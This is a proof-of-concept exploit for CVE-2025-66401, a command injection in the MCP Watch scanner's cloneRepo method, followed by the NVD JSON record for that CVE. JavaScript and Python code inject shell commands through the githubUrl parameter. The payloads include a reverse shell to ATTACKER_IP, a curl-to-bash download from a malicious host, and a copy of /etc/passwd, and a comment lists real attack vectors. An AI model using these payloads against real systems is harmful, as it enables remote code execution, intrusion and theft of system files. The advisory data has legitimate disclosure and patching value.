CVE-2025-66401

// CVE-2025-66401 PoC - MCP Watch Command Injection // Target: MCP Watch <= 0.1.2 // Attack Vector: Malicious githubUrl parameter in cloneRepo method const { MCPScanner } = require('mcp-watch'); async function exploit() { const scanner = new MCPScanner(); // Malicious URL that executes arbitrary command // The semicolon (;) separates commands in shell const maliciousUrl = 'https://github.com/example/repo; whoami > /tmp/pwned.txt'; // Example: Reverse shell payload const reverseShellUrl = 'https://github.com/example/repo; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'; // Example: Download and execute malicious script const downloadExecUrl = 'https://github.com/example/repo; curl http://malicious.site/shell.sh | bash'; try { await scanner.cloneRepo(maliciousUrl); } catch (error) { console.log('Exploit attempted, check for command execution'); } } exploit(); // Note: In real attack scenario, the githubUrl parameter is passed via: // 1. API endpoint accepting user input // 2. Configuration file with untrusted content // 3. MCP protocol message containing malicious URL // Python PoC using requests library """ import requests import json target = "http://target-server:3000/api/scan" payload = "https://github.com/example; cat /etc/passwd > /tmp/leak.txt" data = { "githubUrl": payload, "scanOptions": { "deepScan": True } } response = requests.post(target, json=data) print(f"Status: {response.status_code}") print(f"Response: {response.text}") """

{"cve": {"id": "CVE-2025-66401", "sourceIdentifier": "[email protected]", "published": "2025-12-01T23:15:53.227", "lastModified": "2026-02-06T16:34:33.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MCP Watch is a comprehensive security scanner for Model Context Protocol (MCP) servers. In 0.1.2 and earlier, the MCPScanner class contains a critical Command Injection vulnerability in the cloneRepo method. The application passes the user-supplied githubUrl argument directly to a system shell via execSync without sanitization. This allows an attacker to execute arbitrary commands on the host machine by appending shell metacharacters to the URL."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:kapilduraphe:mcp_watch:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "0.1.2", "matchCriteriaId": "EEA6FBCF-AD89-453B-ACFC-1E09703E03FC"}]}]}], "references": [{"url": "https://github.com/kapilduraphe/mcp-watch/commit/e7da78c5b4b960f8b66c254059ad9ebc544a91a6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/kapilduraphe/mcp-watch/security/advisories/GHSA-27m7-ffhq-jqrm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}